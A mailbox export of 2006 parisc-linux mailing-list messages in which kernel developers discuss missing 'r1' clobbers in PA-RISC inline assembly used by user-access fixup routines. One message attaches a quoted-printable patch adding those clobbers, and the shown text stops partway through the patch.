Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Thu, 20 Apr 2006 15:21:55 -0500
Lines: 61
Approved: news@gmane.org
Message-ID: <200604201521.55966.mszick@morethan.org>
References: <200604201932.k3KJWgKJ023738@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624062 19045 80.91.229.3 (22 Nov 2014 02:41:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2006 20:22:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 20 Apr 2006 22:22:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED6497D6E6;
	Thu, 20 Apr 2006 14:22:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07897-07; Thu, 20 Apr 2006 14:22:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 463F07D6D2;
	Thu, 20 Apr 2006 14:22:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1DCEB7D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 14:21:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07897-04 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 14:21:58 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 323247D696
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 14:21:58 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3KKM0Pf000688
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 13:22:00 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.193.197] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id 2B00gT10
	authenticated by SMTP; Thu, 20 Apr 2006 13:22:00 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604201932.k3KJWgKJ023738@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OYg1ZBIOeSE5qr6WZHQhaXN2IGRvbwAw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23598

On Thu April 20 2006 14:32, John David Anglin wrote:
> > > > > (here) insn, an interruption occures which in turn launch the
> > > > > fixup_put_user_skip_1()
> > > > 
> > > > A couple more questions for research :)
> > > > 
> > > > Q: Does the process of interruption clobber registers?
> > > 
> > Joel,
> > 
> > The machine should switch a small sub-set of the general
> > registers to an alternate set, called the 'shadow registers'
> > for the interruption routine to use.
> 
> fixup_put_user_skip_1() runs after the interruption, so the
> shadow registers don't matter. 
>
I was unclear, I was answering the second question, my bad.

> Look at the registers used 
> by fixup_put_user_skip_1() and where it returns.  
>
Ah, the first question...

> Note that 
> GCC is only concerned about registers used in the current
> function (i.e., if an asm changes sections and generates code
> using registers in that section, this is all black magic to
> GCC and it doesn't need to know about it).
> 
Giving that a little though, and it should be obvious...

GCC only compiles a single flow of execution at a time,
the ::: information fields only apply to what the compiler
is doing at the moment.

If the author of the code writes instructions inside of the
current black box (__asm block) that are on a different path
of execution, then it is up to the author to ensure that 
the _other_ path (section in this case) observes proper
register usage.

It is the _other_ path of execution that needs its register
usage audited.

Mike
> It's clear that the __get* and __put* macros need brief comments
> about the register use of the fixup routines.  Also, the fixup
> routines need corresponding comments.
> 
> > I do not know if r1 is shadowed or not.
> 
> Yes.
> 
> Dave
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Thu, 20 Apr 2006 17:29:31 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <200604202129.k3KLTVrE024472@hiauly1.hia.nrc.ca>
References: <119aab440604201304g165a9218n885ef29fbfb7983b@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624062 19053 80.91.229.3 (22 Nov 2014 02:41:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2006 21:29:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 20 Apr 2006 23:29:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8ADB47D706;
	Thu, 20 Apr 2006 15:29:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08996-06; Thu, 20 Apr 2006 15:29:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E33A27D707;
	Thu, 20 Apr 2006 15:29:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C0347D705
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 15:29:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08996-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 15:29:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 2795A7D703
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Apr 2006 15:29:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3KLTVm4024473;
	Thu, 20 Apr 2006 17:29:32 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3KLTVrE024472;
	Thu, 20 Apr 2006 17:29:31 -0400 (EDT)
In-Reply-To: <119aab440604201304g165a9218n885ef29fbfb7983b@mail.gmail.com>
	from "Carlos O'Donell" at Apr 20, 2006 04:04:20 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Epg1ZBIOeSE5qr6WZHQhaXN2IGRvbwCG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23599

> - Add the missing "r1" clobbers to any asm using FIXUP_BRANCH.
>   Run a boot test. Post a pach including the result of the boot test.

With luck, this will fix the handling of unaligned fldd instructions
(failure of libjava negzero).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in 
	__put_kernel_asm() 64bit?
Date: Fri, 21 Apr 2006 10:13:31 +0100
Lines: 199
Approved: news@gmane.org
Message-ID: <IY2EYJ$B66EBAC0020CC120973C76DCF7A32794@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="_=__=_XaM3_.1145610812.2A.67635.42.18204.52.42.007.582837036"
X-Trace: ger.gmane.org 1416624062 19054 80.91.229.3 (22 Nov 2014 02:41:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:02 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "carlos" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Apr 2006 09:13:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 21 Apr 2006 11:13:58 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 343A37D71A;
	Fri, 21 Apr 2006 03:13:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13342-06; Fri, 21 Apr 2006 03:13:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B9637D717;
	Fri, 21 Apr 2006 03:13:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E5E377D713
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 03:13:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13202-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 03:13:42 -0600 (MDT)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 6D3797D6FA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Apr 2006 03:13:41 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by xizor.is.scarlet.be  with ESMTP id k3L9DWK17821; 
	Fri, 21 Apr 2006 11:13:32 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: b5V9cAIoTiEtoqyUaGRwenF1ZUVSRFfe
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23600

--_=__=_XaM3_.1145610812.2A.67635.42.18204.52.42.007.582837036
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

> On 4/20/06, Joel Soete <soete.joel@tiscali.be> wrote:
> > Please help me I hate this game:
> >   - tel me why?
> >   - no tel me why not?
> >   - ...
> 
> This is all part of learning. We want to teach you to do some of the
> research yourself before emailing to the list. When you send email you
> should have some research done which contributes to the solution of
> the problem. For example the research you have done below is exactly
> what I would have expected from a serious hacker. This is an excellent
> amount of research! Good work Joel.
> 
Ok next time I will do so 

> > > a) What does a clobber mean from the viewpoint of an __asm?
> >
> > Sorry, I was the first to put this question:
> > "btw I had another question: what's the meaning of 'clobber' in the s=
ens of
> > asm extension of gcc?
> 
> *I* know the answer. The question is intended for you to learn how to r=
esearch.
> Google is a horrible research tool. I recommend going to the source. GC=
C has
> great manuals.
> 
> a) Go to "http://gcc.gnu.org/"
> b) Click on "Manual"
> c) Click on "GCC 4.1.0 Manual"
> d) Read sections 5.34 and 5.35 describing the behaviour of asm's.
> 
> Please read the manuals if you don't know the answer. It keeps others f=
rom
> being frustrated. The manuals were written for a reason.
> 
installing gcc-4.0-doc dpkg is also a way to access to info files ;-)

According to your next mail:
<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-April/028827.h=
tml>

Here attched is the patch proposal (just includes some few white space
cleanup) ;-)

Thanks a lot all,
    Joel

--_=__=_XaM3_.1145610812.2A.67635.42.18204.52.42.007.582837036
Content-Type: text/plain;
	name="=?iso-8859-1?Q?FixupUpdate.diff?="
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="=?iso-8859-1?Q?FixupUpdate.diff?="

--- ./include/asm-parisc/uaccess.h.Orig	2005-09-14 14:57:40.000000000 +02=
00=0A+++ ./include/asm-parisc/uaccess.h	2006-04-21 10:32:54.000000000 +02=
00=0A@@ -49,20 +49,20 @@=0A #define STD_KERNEL(x, ptr)	__put_kernel_asm64=
(x,ptr)=0A #define STD_USER(x, ptr)	__put_user_asm64(x,ptr)=0A #else=0A-#=
define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)=0A-#define LDD_USER(pt=
r) __get_user_asm("ldd",ptr)=0A-#define STD_KERNEL(x, ptr) __put_kernel_a=
sm("std",x,ptr)=0A-#define STD_USER(x, ptr) __put_user_asm("std",x,ptr)=0A=
+#define LDD_KERNEL(ptr)		__get_kernel_asm("ldd",ptr)=0A+#define LDD_USER=
(ptr)		__get_user_asm("ldd",ptr)=0A+#define STD_KERNEL(x, ptr)	__put_kern=
el_asm("std",x,ptr)=0A+#define STD_USER(x, ptr)	__put_user_asm("std",x,pt=
r)=0A #endif=0A =0A /*=0A  * The exception table contains two values: the=
 first is an address=0A  * for an instruction that is allowed to fault, a=
nd the second is=0A- * the address to the fixup routine. =0A+ * the addre=
ss to the fixup routine.=0A  */=0A =0A struct exception_table_entry {=0A-=
	unsigned long insn;  /* address of insn that is allowed to fault.   */=0A=
+	unsigned long insn;  /* address of insn that is allowed to fault. */=0A=
 	long fixup;          /* fixup routine */=0A };=0A =0A@@ -76,6 +76,58 @@=
=0A 	unsigned long fault_addr;=0A };=0A =0A+/*=0A+  Refering to Carlos' m=
ail:=0A+  <http://lists.parisc-linux.org/pipermail/parisc-linux/2006-Apri=
l/028827.html>=0A+=0A+  Routines used reside in:=0A+  ~~~~~~~~~~~~~~~~~=0A=
+  kernel/entry.S=0A+  kernel/traps.c=0A+  mm/fault.c=0A+=0A+  Exception =
Stages:=0A+  ~~~~~~~~~~~~~~=0A+  Exception happens.=0A+  Trap handler exe=
cutes.=0A+  We don't handle the exception in assembly(?)=0A+  Shadow regi=
sters are not enough to execute C code.=0A+  All registers saved.=0A+  Lo=
ad or Store has an exception table entry "fixup" in the kernel.=0A+  iaoq=
[0] and iaoq[1] are set to the address of the fixup.=0A+  PSW has the B-b=
it zeroed.=0A+  When the interrupt returns you execute the fixup function=
.=0A+=0A+  A: The process of interruption does not clobber any registers.=
=0A+  Corollory: The process of fixup uses r8/r9 as outputs, with r1 clob=
bered.=0A+=0A+  A: The fixups run in the original context of the failed l=
oad/store.=0A+=0A+  Generic Fixup Functions=0A+  ~~~~~~~~~~~~~~~~~~=0A+  =
There are 4 generic fixup functions:=0A+  The first 2 correspond to faile=
d loads.=0A+  The second 2 correspond to failed stores.=0A+  There is als=
o a FIXUP_BRANCH in the emulation routines.=0A+=0A+  arch/parisc/lib/fixu=
p.S=0A+  fixup_get_user_skip_1  (Skip 1 word, used in 32-bit mode)=0A+  f=
ixup_get_user_skip_2  (Skip 2 words, used in 64-bit mode)=0A+  fixup_put_=
user_skip_1  ( " )=0A+  fixup_put_user_skip_2  ( " )=0A+=0A+  The macro "=
get_fault_ip" is used by each of the 4 generic=0A+  fixups and clobbers b=
oth inputs and r1.=0A+=0A+  The registers used for each of the following =
functions:=0A+  r8 - Stores return value / Used as temp in "get_fault_ip1=
" clobbered.=0A+=0A+  Caveats:=0A+  - The fixup routines read the excepti=
on tables but don't list that=0A+    memory as an input. Hence mixing put=
 and get user/kernel=0A+    calls and modifications to the exception tabl=
es is dangerous?=0A+ */=0A+=0A #define __get_user(x,ptr)                 =
              \=0A ({                                                    =
  \=0A 	register long __gu_err __asm__ ("r8") =3D 0;      \=0A@@ -183,7 +=
235,8 @@=0A 		"\t.dword\t1b,fixup_put_user_skip_1\n"	    \=0A 		"\t.previ=
ous"                               \=0A 		: "=3Dr"(__pu_err)             =
               \=0A-		: "r"(ptr), "r"(x), "0"(__pu_err))=0A+		: "r"(ptr),=
 "r"(x), "0"(__pu_err)	    \=0A+		: "r1")=0A =0A #define __put_user_asm(s=
tx,x,ptr)                           \=0A 	__asm__ __volatile__ (         =
                     \=0A@@ -215,10 +268,10 @@=0A 		: "r"(ptr), "r"(x), "=
0"(__pu_err)	    \=0A 		: "r1")=0A =0A-#define __put_kernel_asm64(__val,p=
tr) do {		    	    \=0A-	u64 __val64 =3D (u64)(__val);				    \=0A-	u32 h=
i =3D (__val64) >> 32;					    \=0A-	u32 lo =3D (__val64) & 0xffffffff;		=
		    \=0A+#define __put_kernel_asm64(__val,ptr) do {		    \=0A+	u64 __va=
l64 =3D (u64)(__val);			    \=0A+	u32 hi =3D (__val64) >> 32;			    \=0A+=
	u32 lo =3D (__val64) & 0xffffffff;		    \=0A 	__asm__ __volatile__ (				=
    \=0A 		"\n1:\tstw %2,0(%1)\n"			    \=0A 		"\n2:\tstw %3,4(%1)\n"			 =
   \=0A@@ -231,10 +284,10 @@=0A 		: "r1");				    \=0A } while (0)=0A =0A=
-#define __put_user_asm64(__val,ptr) do {		    	    \=0A-	u64 __val64 =3D=
 (u64)__val;				    \=0A-	u32 hi =3D (__val64) >> 32;					    \=0A-	u32 l=
o =3D (__val64) & 0xffffffff;				    \=0A+#define __put_user_asm64(__val,=
ptr) do {		    \=0A+	u64 __val64 =3D (u64)__val;			    \=0A+	u32 hi =3D (=
__val64) >> 32;			    \=0A+	u32 lo =3D (__val64) & 0xffffffff;		    \=0A =
	__asm__ __volatile__ (				    \=0A 		"\n1:\tstw %2,0(%%sr3,%1)\n"		    \=
=0A 		"\n2:\tstw %3,4(%%sr3,%1)\n"		    \=0A--- ./arch/parisc/kernel/unal=
igned.c.Orig	2006-04-21 10:36:23.000000000 +0200=0A+++ ./arch/parisc/kern=
el/unaligned.c	2006-04-21 10:45:18.000000000 +0200=0A@@ -39,13 +39,15 @@=0A=
 #define RFMT "%08lx"=0A #endif=0A =0A-#define FIXUP_BRANCH(lbl) \=0A+/* =
see <include/asm-parisc/uaccess.h> Carlos' mail reference */=0A+=0A+#defi=
ne FIXUP_BRANCH(lbl)				\=0A 	"\tldil L%%" #lbl ", %%r1\n"			\=0A 	"\tldo=
 R%%" #lbl "(%%r1), %%r1\n"		\=0A 	"\tbv,n %%r0(%%r1)\n"=0A =0A /* 1111 1=
100 0000 0000 0001 0011 1100 0000 */=0A-#define OPCODE1(a,b,c)	((a)<<26|(=
b)<<12|(c)<<6) =0A+#define OPCODE1(a,b,c)	((a)<<26|(b)<<12|(c)<<6)=0A #de=
fine OPCODE2(a,b)	((a)<<26|(b)<<1)=0A #define OPCODE3(a,b)	((a)<<26|(b)<<=
2)=0A #define OPCODE4(a)	((a)<<26)=0A@@ -132,7 +134,7 @@=0A 	unsigned lon=
g val =3D 0;=0A 	int ret;=0A =0A-	DPRINTF("load " RFMT ":" RFMT " to r%d =
for 2 bytes\n", =0A+	DPRINTF("load " RFMT ":" RFMT " to r%d for 2 bytes\n=
",=0A 		regs->isr, regs->ior, toreg);=0A =0A 	__asm__ __volatile__  (=0A@=
@ -157,7 +159,7 @@=0A "	.previous\n"=0A 	: "=3Dr" (val), "=3Dr" (ret)=0A =
	: "0" (val), "r" (saddr), "r" (regs->isr)=0A-	: "r20" );=0A+	: "r1", "r2=
0" );=0A =0A 	DPRINTF("val =3D 0x" RFMT "\n", val);=0A =0A@@ -173,7 +175,=
7 @@=0A 	unsigned long val =3D 0;=0A 	int ret;=0A =0A-	DPRINTF("load " RF=
MT ":" RFMT " to r%d for 4 bytes\n", =0A+	DPRINTF("load " RFMT ":" RFMT "=
 to r%d for 4 bytes\n",=0A 		regs->isr, regs->ior, toreg);=0A =0A 	__asm_=
_ __volatile__  (=0A@@ -202,7 +204,7 @@=0A "	.previous\n"=0A 	: "=3Dr" (v=
al), "=3Dr" (ret)=0A 	: "0" (val), "r" (saddr), "r" (regs->isr)=0A-	: "r1=
9", "r20" );=0A+	: "r1", "r19", "r20" );=0A =0A 	DPRINTF("val =3D 0x" RFM=
T "\n", val);=0A =0A@@ -219,7 +221,7 @@=0A 	__u64 val =3D 0;=0A 	int ret;=
=0A =0A-	DPRINTF("load " RFMT ":" RFMT " to r%d for 8 bytes\n", =0A+	DPRI=
NTF("load " RFMT ":" RFMT " to r%d for 8 bytes\n",=0A 		regs->isr, regs->=
ior, toreg);=0A #ifdef CONFIG_PA20=0A =0A@@ -253,7 +255,7 @@=0A "	.previo=
us\n"=0A 	: "=3Dr" (val), "=3Dr" (ret)=0A 	: "0" (val), "r" (saddr), "r" =
(regs->isr)=0A-	: "r19", "r20" );=0A+	: "r1", "r19", "r20" );=0A #else=0A=
     {=0A 	unsigned long valh=3D0,vall=3D0;=0A@@ -287,7 +289,7 @@=0A "	.p=
revious\n"=0A 	: "=3Dr" (valh), "=3Dr" (vall), "=3Dr" (ret)=0A 	: "0" (va=
lh), "1" (vall), "r" (saddr), "r" (regs->isr)=0A-	: "r19", "r20" );=0A+	:=
 "r1", "r19", "r20" );=0A 	val=3D((__u64)valh<<32)|(__u64)vall;=0A     }=0A=
 #endif=0A@@ -310,7 +312,7 @@=0A 	if (!frreg)=0A 		val =3D 0;=0A =0A-	DPR=
INTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 2 bytes\n", frreg, =
=0A+	DPRINTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 2 bytes\n",=
 frreg,=0A 		val, regs->isr, regs->ior);=0A =0A 	__asm__ __volatile__ (=0A=
@@ -335,7 +337,7 @@=0A "	.previous\n"=0A 	: "=3Dr" (ret)=0A 	: "r" (val),=
 "r" (regs->ior), "r" (regs->isr)=0A-	: "r19" );=0A+	: "r1", "r19" );=0A =
=0A 	return ret;=0A }=0A@@ -352,7 +354,7 @@=0A 	else=0A 		val =3D 0;=0A =0A=
-	DPRINTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 4 bytes\n", fr=
reg, =0A+	DPRINTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 4 byte=
s\n", frreg,=0A 		val, regs->isr, regs->ior);=0A =0A =0A@@ -389,7 +391,7 =
@@=0A "	.previous\n"=0A 	: "=3Dr" (ret)=0A 	: "r" (val), "r" (regs->ior),=
 "r" (regs->isr)=0A-	: "r19", "r20", "r21", "r22", "r1" );=0A+	: "r1", "r=
19", "r20", "r21", "r22" );=0A =0A 	return 0;=0A }=0A@@ -405,7 +407,7 @@=0A=
 	else=0A 		val =3D 0;=0A =0A-	DPRINTF("store r%d (0x%016llx) to " RFMT "=
:" RFMT " for 8 bytes\n", frreg, =0A+	DPRINTF("store r%d (0x%016llx) to "=
 RFMT ":" RFMT " for 8 bytes\n", frreg,=0A 		val,  regs->isr, regs->ior);=
=0A =0A #ifdef CONFIG_PA20=0A@@ -450,7 +452,7 @@=0A "	.previous\n"=0A 	: =
"=3Dr" (ret)=0A 	: "r" (val), "r" (regs->ior), "r" (regs->isr)=0A-	: "r19=
", "r20", "r21", "r22", "r1" );=0A+	: "r1", "r19", "r20", "r21", "r22" );=
=0A #else=0A     {=0A 	unsigned long valh=3D(val>>32),vall=3D(val&0xfffff=
fffl);=0A@@ -495,7 +497,7 @@=0A "	.previous\n"=0A 	: "=3Dr" (ret)=0A 	: "=
r" (valh), "r" (vall), "r" (regs->ior), "r" (regs->isr)=0A-	: "r19", "r20=
", "r21", "r1" );=0A+	: "r1", "r19", "r20", "r21" );=0A     }=0A #endif=0A=
 =0A@@ -523,7 +525,7 @@=0A 			last_time =3D jiffies;=0A 		}=0A =0A-		if (=
!(current->thread.flags & PARISC_UAC_NOPRINT) =0A+		if (!(current->thread=
.flags & PARISC_UAC_NOPRINT)=0A 		    && ++unaligned_count < 5) {=0A 			c=
har buf[256];=0A 			sprintf(buf, "%s(%d): unaligned access to 0x" RFMT " =
at ip=3D0x" RFMT "\n",=0A
--_=__=_XaM3_.1145610812.2A.67635.42.18204.52.42.007.582837036
Content-Type: text/plain; charset="us-ascii"
